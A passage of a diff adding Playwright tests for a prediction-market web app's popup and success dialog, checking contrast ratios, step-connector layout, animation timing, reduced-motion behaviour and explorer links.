"&first=0"], + ["over", ""], + ["disconnected", ""], + ["pending", ""], + ] as const) { + test(`stays dimmer than a step that will run, its words and digit at 4.5:1 or more, ${state}${extra} in the ${theme} theme`, async ({ + page, + }) => { + const dialog = await openPopup(page, 2, state, undefined, `${extra}&theme=${theme}`); + const rows = await painted(dialog); + expect(rows.length, "an inactive step is shown").toBeGreaterThan(0); + const full = await tokenValue(page, "color", "var(--fs-popup-text)"); + for (const { text, color, ground } of rows) { + expect.soft(contrast(color, ground), `"${text}" on ${ground}`).toBeGreaterThanOrEqual(4.5); + expect + .soft(contrast(color, ground), `"${text}" dimmer than a running title`) + .toBeLessThan(contrast(full, ground)); + } + }); + } + } +}); + +test.describe("the steps' connector", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + /** The axis fill over each dotted connector, top to bottom: true where it is drawn. */ + const fills = (dialog: Locator) => + dialog + .locator(".predict-steps > li > div:first-child > div:last-child:not([style])") + .evaluateAll((lines) => + lines.map((line) => getComputedStyle(line, "::after").transform === "matrix(1, 0, 0, 1, 0, 0)"), + ); + + test("is dotted and unfilled at rest, and fills under each step that has finished", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + const idle = await openPopup(page, 2, "idle"); + expect(await fills(idle)).toEqual([false, false]); + expect( + await idle + .locator(".predict-steps > li > div:first-child > div:last-child:not([style])") + .first() + .evaluate((line) => getComputedStyle(line).borderLeftStyle), + ).toBe("dotted"); + + // the trade wallet is done; adding funds is running + expect(await fills(await openPopup(page, 2, "signing"))).toEqual([true, false]); + }); + + test("runs from one bullet to the next", async ({ page }) => { + const dialog = await openPopup(page, 2, "idle"); + const [bullets, lines] = await Promise.all([ + dialog + .locator(".predict-steps [data-bullet]") + .evaluateAll((nodes) => nodes.map((node) => node.getBoundingClientRect())), + dialog + .locator(".predict-steps > li > div:first-child > div:last-child:not([style])") + .evaluateAll((nodes) => nodes.map((node) => node.getBoundingClientRect())), + ]); + + for (const [index, line] of lines.entries()) { + expect(line.top, `connector ${index + 1}'s top`).toBeCloseTo(bullets[index]!.bottom, 0); + expect(line.bottom, `connector ${index + 1}'s foot`).toBeCloseTo(bullets[index + 1]!.top, 0); + } + }); + + test("numbers a step until it finishes or fails, then shows the check or the cross alone", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + const shown = (dialog: Locator, view: string) => + dialog + .locator(`[data-bullet="${view}"]`) + .first() + .locator("[data-glyph]") + .evaluateAll((glyphs) => + glyphs + .filter((glyph) => getComputedStyle(glyph).opacity === "1") + .map((glyph) => (glyph as HTMLElement).dataset.glyph), + ); + + const idle = await openPopup(page, 2, "idle"); + expect(await shown(idle, "idle")).toEqual(["digit"]); + const failed = await openPopup(page, 2, "failed"); + expect(await shown(failed, "done")).toEqual(["check"]); + expect(await shown(failed, "failed")).toEqual(["cross"]); + }); +}); + +for (const width of [375, 320, 1280]) { + test.describe(`a step row at ${width} wide`, () => { + test.use({ viewport: { width, height: 812 } }); + + test("centres its bullet on its title, with a detail or without, and its connector runs bullet to bullet", async ({ + page, + }) => { + const dialog = await openPopup(page, 2, "failed"); + const rows = await dialog.locator(".predict-steps > li").evaluateAll((items) => + items.map((item) => { + const bullet = item.querySelector("[data-bullet]")!.getBoundingClientRect(); + const title = item.querySelector("h2")!.getBoundingClientRect(); + const line = item + .querySelector(":scope > div:first-child > div:last-child:not([style])") + ?.getBoundingClientRect(); + return { bullet, title, line }; + }), + ); + + for (const [index, { bullet, title, line }] of rows.entries()) { + expect(bullet.top + bullet.height / 2, `step ${index + 1}'s bullet`).toBeCloseTo( + title.top + title.height / 2, + 0, + ); + if (!line) continue; + expect(line.top, `connector ${index + 1}'s top`).toBeCloseTo(bullet.bottom, 0); + expect(line.bottom, `connector ${index + 1}'s foot`).toBeCloseTo(rows[index + 1]!.bullet.top, 0); + } + }); + }); +} + +test.describe("the popup's type roles", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("give way to a weight utility beside them, in the panels and the settings", async ({ page }) => { + const weightOf = (locator: Locator) => locator.evaluate((element) => getComputedStyle(element).fontWeight); + const dialog = await openPopup(page, 2); + expect.soft(await weightOf(dialog.getByRole("heading", { name: "2 estimates" })), "2 estimates").toBe("500"); + expect.soft(await weightOf(dialog.getByRole("heading", { name: /^You pay/ })), "You pay").toBe("500"); + expect + .soft(await weightOf(dialog.getByTestId("predict-summary").getByRole("button").first()), "the Details row") + .toBe("500"); + + await openHarness(page, `${harness.url}?options=2&settings=open`); + const settings = page.getByRole("dialog"); + await expect(settings.getByRole("button", { name: "Done" })).toBeVisible(); + expect.soft(await weightOf(settings.getByRole("heading", { name: "Max slippage" })), "Max slippage").toBe("500"); + expect.soft(await weightOf(settings.getByRole("button", { name: "Done" })), "Done").toBe("600"); + }); +}); + +test.describe("the popup's numbers", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("set the balance and the estimates count in tabular figures beside a type role", async ({ page }) => { + const dialog = await openPopup(page, 10); + for (const number of [dialog.getByText(/^Balance:/), dialog.getByText(/^10 estimates$/)]) { + await expect(number).toHaveCSS("font-variant-numeric", "tabular-nums"); + } + }); +}); + +/** Each figure in the open summary: true when nothing of it is cut and it sits inside its row. */ +function figuresShownWhole(dialog: Locator) { + return dialog + .getByTestId("predict-summary") + .locator('[data-testid="trade-leg"], [data-testid="trade-mint"] > span, [data-testid="market-move"]') + .evaluateAll((figures) => + figures.map((figure) => { + const row = figure.closest("li, p")!.getBoundingClientRect(); + const box = figure.getBoundingClientRect(); + return { + text: figure.textContent, + whole: + figure.scrollWidth <= figure.clientWidth + 1 && + box.left >= row.left - 0.5 && + box.right <= row.right + 0.5 && + box.bottom <= row.bottom + 0.5, + }; + }), + ); +} + +for (const viewport of [ + { width: 1280, height: 800 }, + { width: 375, height: 667 }, +]) { + test.describe(`the trades in the summary at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + test("lists the mint, each option's legs on its connector and the closing note, every figure whole", async ({ + page, + }, testInfo) => { + const dialog = await openPopup(page, 2); + await openSummary(dialog); + const summary = dialog.getByTestId("predict-summary"); + + expect(await summary.getByTestId("trade-mint").evaluate((mint) => mint.textContent!.replace(/\s+/g, " "))).toBe( + "Mint10 sDAI → 10 tokens of every city", + ); + for (const name of ["Berlin", "Lisbon metropolitan area"]) { + const legs = summary.getByRole("list", { name: `Trades for ${name}` }); + await expect(legs.getByRole("listitem").first()).toHaveText(/^Split.*\+.*held/); + await expect(legs).toHaveCSS("border-left-style", "dotted"); + await expect(legs).toHaveCSS("border-left-width", "1px"); + expect(await legs.getByRole("listitem").count(), `${name}'s legs`).toBeGreaterThanOrEqual(2); + // the type-label role sets 14/20 in the legs, with 3px above and below + expect((await legs.getByRole("listitem").last().boundingBox())!.height, "a one-line leg").toBe(26); + } + await expect(summary.getByTestId("trades-note")).toBeVisible(); + for (const figure of await figuresShownWhole(dialog)) expect.soft(figure.whole, figure.text!).toBe(true); + expect(await page.evaluate(() => document.documentElement.scrollWidth)).toBeLessThanOrEqual(viewport.width); + + await summary.getByTestId("trades-note").scrollIntoViewIfNeeded(); + await testInfo.attach(`trades-${viewport.width}x${viewport.height}`, { + body: await page.screenshot(), + contentType: "image/png", + }); + }); + + test("wraps seven-digit figures under themselves, truncates a long name and says which option is left out", async ({ + page, + }, testInfo) => { + const dialog = await openPopup(page, 2, "idle", undefined, "&trades=worst"); + await openSummary(dialog); + const summary = dialog.getByTestId("predict-summary"); + + expect(await summary.getByTestId("trade-mint").evaluate((mint) => mint.textContent!.replace(/\s+/g, " "))).toBe( + "Mint1,234,567.89 sDAI → 1,234,567.89 tokens of every city", + ); + const name = summary.getByTitle(/^Greater Lisbon/); + expect(await name.evaluate((element) => element.scrollWidth > element.clientWidth)).toBe(true); + await expect(summary.getByRole("list", { name: "Trades for Lisbon metropolitan area" })).toHaveText( + "No tradeAlready at your estimate; left out", + ); + for (const figure of await figuresShownWhole(dialog)) expect.soft(figure.whole, figure.text!).toBe(true); + expect(await page.evaluate(() => document.documentElement.scrollWidth)).toBeLessThanOrEqual(viewport.width); + + await testInfo.attach(`trades-worst-${viewport.width}x${viewport.height}`, { + body: await page.screenshot(), + contentType: "image/png", + }); + }); + }); +} + +test.describe("the summary opening and closing", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + /** Every running transition or animation in the summary: what it moves, how long, and after what delay. */ + const motion = (dialog: Locator) => + dialog.getByTestId("predict-summary").evaluate((summary) => + summary.getAnimations({ subtree: true }).map((animation) => ({ + name: + animation instanceof CSSTransition + ? animation.transitionProperty + : animation instanceof CSSAnimation + ? animation.animationName + : "", + duration: Number(animation.effect!.getTiming().duration), + delay: animation.effect!.getTiming().delay ?? 0, + })), + ); + + test("grows the body under the steps' feet as its rows fade in, then fades the rows before it folds", async ({ + page, + }) => { + const dialog = await openPopup(page, 2); + const head = dialog.getByTestId("predict-summary").getByRole("button").first(); + const bulletTop = () => + dialog + .locator("ol [data-bullet]") + .first() + .evaluate((bullet) => bullet.getBoundingClientRect().top); + const closed = await bulletTop(); + + await head.click(); + expect(await motion(dialog)).toEqual( + expect.arrayContaining([ + { name: "grid-template-rows", duration: 250, delay: 0 }, + { name: "opacity", duration: 250, delay: 0 }, + { name: "transform", duration: 250, delay: 0 }, + { name: "rotate", duration: 250, delay: 0 }, + ]), + ); + // halfway, the steps are on their way down, not already there + await dialog.evaluate((element) => + element.getAnimations({ subtree: true }).forEach((animation) => { + animation.pause(); + animation.currentTime = 125; + }), + ); + const halfway = await bulletTop(); + await dialog.evaluate((element) => + element.getAnimations({ subtree: true }).forEach((animation) => animation.finish()), + ); + const open = await bulletTop(); + expect(open - closed).toBeGreaterThan(40); + expect(halfway).toBeGreaterThan(closed + 4); + expect(halfway).toBeLessThan(open - 4); + + await head.click(); + expect(await motion(dialog)).toEqual( + expect.arrayContaining([ + { name: "opacity", duration: 100, delay: 0 }, + { name: "transform", duration: 100, delay: 0 }, + { name: "grid-template-rows", duration: 250, delay: 100 }, + ]), + ); + await settle(dialog); + expect(await bulletTop()).toBeCloseTo(closed, 0); + }); +}); + +test.describe("a step's bullet", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("changes state by opacity and transform alone", async ({ page }) => { + const dialog = await openPopup(page, 2, "signing"); + const properties = await dialog.locator("[data-bullet], [data-bullet] *").evaluateAll((nodes) => + nodes.flatMap((node) => + [null, "::before", "::after"].flatMap((pseudo) => + getComputedStyle(node, pseudo) + .transitionProperty.split(", ") + .filter((property) => property !== "all" || getComputedStyle(node, pseudo).transitionDuration !== "0s"), + ), + ), + ); + + expect([...new Set(properties)].sort()).toEqual(["opacity", "transform"]); + }); +}); + +/** WCAG contrast between two computed rgb() colours. */ +function contrast(first: string, second: string) { + const luminance = (css: string) => { + const [r = 0, g = 0, b = 0] = css.match(/[\d.]+/g)!.map(Number); + const linear = (c: number) => ((c /= 255) <= 0.03928 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4); + return 0.2126 * linear(r) + 0.7152 * linear(g) + 0.0722 * linear(b); + }; + const [a, b] = [luminance(first), luminance(second)]; + return (Math.max(a, b) + 0.05) / (Math.min(a, b) + 0.05); +} + +/** Resolves a colour, gradient or length token to its computed value, through a probe in the page. */ +function tokenValue(page: Page, property: "color" | "borderRadius" | "backgroundImage", value: string) { + return page.evaluate( + ([property, value]) => { + const probe = document.createElement("span"); + probe.style[property as "color"] = value; + document.body.append(probe); + const resolved = getComputedStyle(probe)[property as "color"]; + probe.remove(); + return resolved; + }, + [property, value] as const, + ); +} + +test.describe("a dialog over the sticky header", () => { + test("opens a tall success dialog above the header on a phone, its top edge in view and its overlay over the header", async ({ + page, + }) => { + await page.setViewportSize({ width: 375, height: 667 }); + await openHarness(page, `${harness.url}?options=4&state=success&dialog=success&run=worst&verified=0`); + const dialog = page.getByRole("dialog", { name: "Prediction successful" }); + const box = (await dialog.boundingBox())!; + const header = (await page.locator("header").boundingBox())!; + + // the worst case is taller than the window less the header, so it reaches under where the header sits + expect(box.y).toBeLessThan(header.y + header.height); + const hit = await page.evaluate( + ([x, y]) => { + const node = document.elementFromPoint(x!, y!)?.closest("[role=dialog], header"); + return node ? (node.matches("header") ? "header" : "dialog") : null; + }, + [box.x + box.width / 2, box.y + 4], + ); + expect(hit).toBe("dialog"); + expect(await page.evaluate(() => document.elementFromPoint(4, 4)?.closest("header"))).toBeNull(); + }); + + test("lays the predict popup's overlay over the header too", async ({ page }) => { + await page.setViewportSize({ width: 375, height: 667 }); + await openPopup(page, 2); + + expect(await page.evaluate(() => document.elementFromPoint(4, 4)?.closest("header"))).toBeNull(); + }); +}); + +for (const viewport of [ + { width: 375, height: 667 }, + { width: 320, height: 568 }, +]) { + test.describe(`the success dialog at ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + test("ends every figure on one column, a wallet address under its title too", async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success&run=credits`); + const rows = page.getByRole("list", { name: "Transactions" }).getByRole("listitem"); + const ends = await rows.evaluateAll((items) => + items + .map((row) => row.querySelector("span.font-semibold")?.nextElementSibling) + .filter((detail): detail is Element => detail != null) + .map((detail) => Math.round(detail.getBoundingClientRect().right)), + ); + expect(ends.length).toBeGreaterThan(2); + expect(new Set(ends).size).toBe(1); + }); + + for (const run of ["batches", "worst"]) { + test(`keeps every step's title on one line beside its links (${run})`, async ({ page }) => { + await openHarness(page, `${harness.url}?options=4&state=success&dialog=success&run=${run}`); + const titles = page.getByRole("list", { name: "Transactions" }).locator("li span.font-semibold"); + for (const title of await titles.all()) expect(Math.round((await title.boundingBox())!.height)).toBe(20); + }); + } + + test("gives each explorer link a 44px tall hit area, its drawn size kept", async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success&run=batches`); + await page.evaluate(() => Promise.all(document.getAnimations().map((animation) => animation.finished))); + for (const link of await page + .getByRole("listitem") + .filter({ hasText: "Prediction placed" }) + .getByRole("link") + .all()) { + const box = (await link.boundingBox())!; + expect(box.height).toBe(32); + const hits = await page.evaluate( + ([x, top, bottom, label]) => + [top, bottom].map( + (y) => document.elementFromPoint(x!, y!)?.closest("a")?.getAttribute("aria-label") === label, + ), + [ + box.x + box.width / 2, + box.y - 5.5, + box.y + box.height + 5.5, + await link.getAttribute("aria-label"), + ] as const, + ); + expect(hits).toEqual([true, true]); + } + }); + }); +} + +for (const viewport of [ + { width: 568, height: 320 }, + { width: 844, height: 390 }, +]) { + test.describe(`the success dialog on a phone on its side, ${viewport.width} x ${viewport.height}`, () => { + test.use({ viewport }); + + for (const query of ["run=worst&verified=0", "subscribed=0"]) { + test(`keeps Close in view at the dialog's foot while the rest scrolls (${query})`, async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + await openHarness(page, `${harness.url}?options=4&state=success&dialog=success&${query}`); + const dialog = page.getByRole("dialog", { name: "Prediction successful" }); + const close = dialog.getByRole("button", { name: "Close" }); + const [box, frame] = [(await close.boundingBox())!, (await dialog.boundingBox())!]; + expect(box.y + box.height).toBeLessThanOrEqual(frame.y + frame.height); + expect( + await page.evaluate( + ([x, y]) => document.elementFromPoint(x!, y!)?.closest("button")?.textContent, + [box.x + box.width / 2, box.y + box.height / 2], + ), + ).toBe("Close"); + }); + } + }); +} + +test.describe("the success dialog", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + test("names the email in one sentence and links to Settings in the accent", async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success`); + const dialog = page.getByRole("dialog", { name: "Prediction successful" }); + const link = dialog.getByRole("link", { name: "Change in Settings" }); + + await expect(dialog.getByText("2 estimates · 10 sDAI")).toBeVisible(); + await expect(dialog.getByText(/^You'll get an email at/)).toHaveText( + "You'll get an email at visitor@example.com when the market resolves.", + ); + await expect(dialog.getByRole("textbox")).toHaveCount(0); + await expect(link).toHaveAttribute("href", "/settings?tab=notifications"); + await expect(link).toHaveCSS("color", await tokenValue(page, "color", "var(--fs-popup-accent-text)")); + await expect(dialog.getByText("Confirm your email first", { exact: false })).toHaveCount(0); + }); + + test("groups the lines under the title, the receipt, the panel and the action 20, 20 and 16 apart", async ({ + page, + }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success`); + const dialog = page.getByRole("dialog", { name: "Prediction successful" }); + const position = (await dialog.getByText("See your position under each city.").boundingBox())!; + const receipt = (await dialog.getByRole("list", { name: "Transactions" }).boundingBox())!; + const panel = (await dialog.locator("section").boundingBox())!; + const close = (await dialog.getByRole("button", { name: "Close" }).boundingBox())!; + + expect(Math.round(receipt.y - (position.y + position.height))).toBe(20); + expect(Math.round(panel.y - (receipt.y + receipt.height))).toBe(20); + expect(Math.round(close.y - (panel.y + panel.height))).toBe(16); + }); + + test("keeps what could not be traded 12 above the panel's 20", async ({ page }) => { + await openHarness(page, `${harness.url}?options=4&state=success&dialog=success`); + const dialog = page.getByRole("dialog", { name: "Prediction successful" }); + const receipt = (await dialog.getByRole("list", { name: "Transactions" }).boundingBox())!; + const leftOut = (await dialog.getByText("Could not be traded: Nairobi, Montevideo.").boundingBox())!; + const panel = (await dialog.locator("section").boundingBox())!; + + expect(Math.round(leftOut.y - (receipt.y + receipt.height))).toBe(12); + expect(Math.round(panel.y - (leftOut.y + leftOut.height))).toBe(20); + }); + + test("draws no mark of its own: each step's done bullet says it, joined bullet to bullet by the axis", async ({ + page, + }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success`); + const dialog = page.getByRole("dialog", { name: "Prediction successful" }); + const bullets = dialog.locator('[data-bullet="done"]'); + const rows = dialog.getByRole("list", { name: "Transactions" }).getByRole("listitem"); + + await expect(page.getByTestId("success-mark")).toHaveCount(0); + await expect(bullets).toHaveCount(3); + await page.evaluate(() => Promise.all(document.getAnimations().map((animation) => animation.finished))); + const axis = await tokenValue(page, "backgroundImage", "var(--fs-popup-axis-v)"); + const lines = await rows.evaluateAll((items) => + items.map((row) => { + const style = getComputedStyle(row, "::before"); + const box = row.getBoundingClientRect(); + return { + image: style.backgroundImage, + centre: box.left + parseFloat(style.left) + parseFloat(style.width) / 2, + top: box.top + parseFloat(style.top), + bottom: box.bottom - parseFloat(style.bottom), + }; + }), + ); + const centres = await bullets.evaluateAll((items) => + items.map((bullet) => { + const box = bullet.getBoundingClientRect(); + return { x: box.left + box.width / 2, y: box.top + box.height / 2 }; + }), + ); + for (const line of lines) expect(line.image).toBe(axis); + lines.forEach((line, index) => expect(line.centre).toBe(centres[index]!.x)); + // from the first bullet's centre to the last's, unbroken through the gaps between rows + expect(Math.round(lines[0]!.top)).toBe(Math.round(centres[0]!.y)); + expect(Math.round(lines[2]!.bottom)).toBe(Math.round(centres[2]!.y)); + for (const index of [0, 1]) expect(lines[index]!.bottom).toBeGreaterThanOrEqual(lines[index + 1]!.top); + }); + + test("numbers each batch's explorer link on the prediction row, each a 32px target", async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success&run=batches`); + const row = page.getByRole("listitem").filter({ hasText: "Prediction placed" }); + const links = row.getByRole("link"); + + await expect(links).toHaveText(["1", "2", "3"]); + for (const link of await links.all()) { + await expect(link).toHaveAttribute("href", /^https:\/\/gnosisscan\.io\/tx\/0x[0-9a-f]{64}$/); + await expect(link).toHaveAttribute("target", "_blank"); + expect((await link.boundingBox())!.height).toBe(32); + } + await expect(row.getByRole("link", { name: /^Prediction transaction 2 of 3, / })).toBeVisible(); + }); + + test("ends every figure on one column where a step that landed unseen has no link", async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success&run=recovered`); + const list = page.getByRole("list", { name: "Transactions" }); + const funds = list.getByRole("listitem").filter({ hasText: "Funds added" }); + const wallet = (await list.getByText("0xdcee...664f").boundingBox())!; + const added = (await funds.getByText("4 xDAI").boundingBox())!; + + await expect(funds.getByRole("link")).toHaveCount(0); + expect(Math.round(added.x + added.width)).toBe(Math.round(wallet.x + wallet.width)); + }); + + test("links nothing on a chain with no explorer, as on a local node", async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success&run=worst&chain=local`); + const list = page.getByRole("list", { name: "Transactions" }); + + await expect(list.getByRole("listitem")).toHaveCount(4); + await expect(list.getByRole("link")).toHaveCount(0); + }); + + test("lists the credits and the funds as two steps, each with its own link", async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success&run=credits`); + const list = page.getByRole("list", { name: "Transactions" }); + + for (const [title, figure, name] of [ + ["Credits added", "2 credits", /^Credits transaction, /], + ["Funds added", "8 sDAI", /^Funds transaction, /], + ] as const) { + const row = list.getByRole("listitem").filter({ hasText: title }); + await expect(row.getByText(figure)).toBeVisible(); + await expect(row.getByRole("link")).toHaveCount(1); + await expect(row.getByRole("link", { name })).toBeVisible(); + } + }); + + test("warns in the warning tone when the email is not confirmed", async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success&verified=0`); + const warning = page.getByText("Confirm your email first, or it will not arrive."); + + await expect(warning).toBeVisible(); + await expect(warning).toHaveCSS("color", await tokenValue(page, "color", "var(--fs-tone-warning-text)")); + await expect(page.getByRole("link", { name: "Confirm in Settings" })).toHaveAttribute( + "href", + "/settings?tab=notifications", + ); + }); + + test("keeps the sign-in at 44px in the panel and Close as a 44px text action", async ({ page }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success&subscribed=0`); + const dialog = page.getByRole("dialog", { name: "Prediction successful" }); + const signIn = dialog.locator("section").getByRole("button", { name: "Sign in to subscribe" }); + const close = dialog.getByRole("button", { name: "Close" }); + + expect((await signIn.boundingBox())!.height).toBe(44); + await expect(signIn).toHaveCSS( + "border-top-left-radius", + await tokenValue(page, "borderRadius", "var(--fs-radius-control)"), + ); + expect((await close.boundingBox())!.height).toBe(44); + await expect(close).toHaveCSS("background-color", "rgba(0, 0, 0, 0)"); + await expect(dialog.locator(".predict-cta")).toHaveCount(1); + }); + + for (const theme of ["light", "dark"]) { + test(`rings its buttons in the popup's violet when reached by keyboard, in the ${theme} theme`, async ({ + page, + }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success&subscribed=0&theme=${theme}`); + const dialog = page.getByRole("dialog", { name: "Prediction successful" }); + const accent = await tokenValue(page, "color", "var(--fs-popup-accent)"); + for (const name of ["Sign in to subscribe", "Close"]) { + const button = dialog.getByRole("button", { name }); + for ( + let step = 0; + step < 6 && !(await button.evaluate((element) => element === document.activeElement)); + step++ + ) { + await page.keyboard.press("Tab"); + } + await expect(button).toBeFocused(); + await settle(dialog); + await expect(button).toHaveCSS("outline-color", accent); + await expect(button).toHaveCSS("outline-style", "solid"); + expect(await button.evaluate((element) => /\d+px [1-9]/.test(getComputedStyle(element).boxShadow))).toBe(false); + } + }); + } + + for (const theme of ["light", "dark"]) { + test(`offers the sign-in on the popup's axis, its label at 4.5:1 or more at both ends, in the ${theme} theme`, async ({ + page, + }) => { + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success&subscribed=0&theme=${theme}`); + const signIn = page.getByRole("dialog", { name: "Prediction successful" }).getByRole("button", { + name: "Sign in to subscribe", + }); + const ends = [ + await tokenValue(page, "color", "var(--fs-popup-axis-from)"), + await tokenValue(page, "color", "var(--fs-popup-axis-to)"), + ]; + const look = await signIn.evaluate((button) => ({ + fill: getComputedStyle(button).backgroundImage, + label: getComputedStyle(button.querySelector(".button-text")!).color, + })); + for (const end of ends) expect(look.fill).toContain(end); + expect(look.label).toBe(await tokenValue(page, "color", "var(--fs-popup-on-axis)")); + for (const end of ends) expect.soft(contrast(look.label, end), `on ${end}`).toBeGreaterThanOrEqual(4.5); + }); + + test(`keeps the sign-in's label at 4.5:1 or more beside a spinner while the wallet signs, in the ${theme} theme`, async ({ + page, + }) => { + await openHarness( + page, + `${harness.url}?options=2&state=success&dialog=success&subscribed=0&signin=busy&theme=${theme}`, + ); + const signIn = page.getByRole("dialog", { name: "Prediction successful" }).getByRole("button", { + name: "Signing in…", + }); + await expect(signIn).toHaveAttribute("data-busy", "true"); + await expect(signIn.getByTestId("predict-spinner")).toBeVisible(); + const look = await signIn.evaluate((button) => { + const label = getComputedStyle(button.querySelector(".button-text")!); + return { visibility: label.visibility, label: label.color, fill: getComputedStyle(button).backgroundColor }; + }); + expect(look.visibility).toBe("visible"); + expect(contrast(look.label, look.fill)).toBeGreaterThanOrEqual(4.5); + }); + } + + test("brings the receipt's rows in one after another, half an echo apart", async ({ page }) => { + await openHarness(page, `${harness.url}?dialog=success&run=credits`); + const rows = page.getByRole("list", { name: "Transactions" }).getByRole("listitem"); + await expect(rows.first()).toHaveCSS("animation-name", "fsFadeUp"); + expect(await rows.evaluateAll((items) => items.map((item) => getComputedStyle(item).animationDelay))).toEqual([ + "0s", + "0.05s", + "0.1s", + "0.15s", + ]); + await page.evaluate(() => document.documentElement.style.setProperty("--fs-dur-echo", "200ms")); + await expect(rows.nth(1)).toHaveCSS("animation-delay", "0.1s"); + }); + + test("brings its receipt in by opacity alone under reduced motion", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + await openHarness(page, `${harness.url}?options=2&state=success&dialog=success`); + const keys = await page + .getByRole("list", { name: "Transactions" }) + .getByRole("listitem") + .first() + .evaluate((mark) => + mark + .getAnimations() + .flatMap((animation) => (animation.effect as KeyframeEffect).getKeyframes()) + .flatMap((frame) => Object.keys(frame)) + .filter((key) => !["offset", "easing", "composite", "computedOffset"].includes(key)), + ); + + expect([...new Set(keys)]).toEqual(["opacity"]); + }); + + /** Records the receipt checks' fsDraw events from the page's first script, each with its row. */ + async function recordDraws(page: Page) { + await page.addInitScript(() => { + const seen: string[] = []; + (window as unknown as { draws: string[] }).draws = seen; + for (const type of ["animationstart", "animationiteration", "animationend", "animationcancel"]) { + document.addEventListener( + type, + (event) => { + if ((event as AnimationEvent).animationName !== "fsDraw") return; + const row = (event.target as Element).closest(".predict-receipt > li"); + seen.push(`${type}:${row ? [...row.parentElement!.children].indexOf(row) : "elsewhere"}`); + }, + true, + ); + } + }); + return () => page.evaluate(() => (window as unknown as { draws: string[] }).draws); + } + + const checkPaths = (page: Page) => + page.getByRole("list", { name: "Transactions" }).locator('[data-glyph="check"] path'); + + test("draws the last row's check once as it opens, by its stroke alone, after the row rises", async ({ page }) => { + const draws = await recordDraws(page); + await openHarness(page, `${harness.url}?dialog=success&run=credits`); + const paths = checkPaths(page); + await expect(paths).toHaveCount(4); + const last = paths.last(); + await expect(last).toHaveCSS("animation-name", "fsDraw"); + const [timing, properties, length, dash] = await last.evaluate((path) => { + const [animation] = path.getAnimations(); + const frames = (animation!.effect as KeyframeEffect).getKeyframes(); + return [ + animation!.effect!.getTiming(), + [...new Set(frames.flatMap((frame) => Object.keys(frame)))].filter( + (key) => !["offset", "easing", "composite", "computedOffset"].includes(key), + ), + (path as SVGPathElement).getTotalLength(), + parseFloat(getComputedStyle(path).strokeDasharray), + ] as const; + }); + expect(properties).toEqual(["strokeDashoffset"]); + expect(timing.iterations).toBe(1); + // the fourth row's stagger, 1.5 echoes, then its own rise + expect(timing.delay).toBe(400); + expect(timing.duration).toBe(400); + expect(dash).toBeGreaterThanOrEqual(length); + expect(dash - length).toBeLessThan(1); + for (const earlier of (await paths.all()).slice(0, -1)) await expect(earlier).toHaveCSS("animation-name", "none"); + + await page.evaluate(() => Promise.all(document.getAnimations().map((animation) => animation.finished))); + await page.waitForTimeout(300); + expect(await draws()).toEqual(["animationstart:3", "animationend:3"]); + await expect(last).toHaveCSS("stroke-dashoffset", "0px"); + }); + + test("draws the check on the structural duration token and the enter curve", async ({ page }) => { + await openHarness(page, `${harness.url}?dialog=success&run=credits`); + const last = checkPaths(page).last(); + await expect(last).toHaveCSS("animation-timing-function", "cubic-bezier(0, 0, 0.2, 1)"); + await expect(last).toHaveCSS("animation-duration", "0.4s"); + await page.evaluate(() => document.documentElement.style.setProperty("--fs-dur-structural", "600ms")); + await expect(last).toHaveCSS("animation-duration", "0.6s"); + }); + + for (const theme of ["light", "dark"]) { + test(`shows the last row's check whole, with no draw, under reduced motion in the ${theme} theme`, async ({ + page, + }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + const draws = await recordDraws(page); + await openHarness(page, `${harness.url}?dialog=success&run=credits&theme=${theme}`); + const last = checkPaths(page).last(); + await expect(last).toBeAttached(); + await expect(last).toHaveCSS("animation-name", "none"); + await expect(last).toHaveCSS("stroke-dashoffset", "0px"); + await page.waitForTimeout(800); + expect(await draws()).toEqual([]); + }); + } +}); + +test.describe("entrances under reduced motion", () => { + test.use({ viewport: { width: 1280, height: 800 } }); + + /** The properties each element's running animations change, keyframe offsets and easing aside. */ + const animatedProperties = (elements: Locator) => + elements.evaluateAll((nodes) => + nodes.map((node) => [ + ...new Set( + node + .getAnimations() + .flatMap((animation) => (animation.effect as KeyframeEffect).getKeyframes()) + .flatMap((frame) => Object.keys(frame)) + .filter((key) => !["offset", "easing", "composite", "computedOffset"].includes(key)), + ), + ]), + ); + + test("fade without rising: the failure's status line, and each shared entrance class", async ({ page }) => { + await page.emulateMedia({ reducedMotion: "reduce" }); + const dialog = await openPopup(page, 2, "failed", "rejected"); + await page.evaluate(() => { + const host = document.createElement("div"); + host.id = "entrances"; + host.innerHTML = + '
rise
spawn
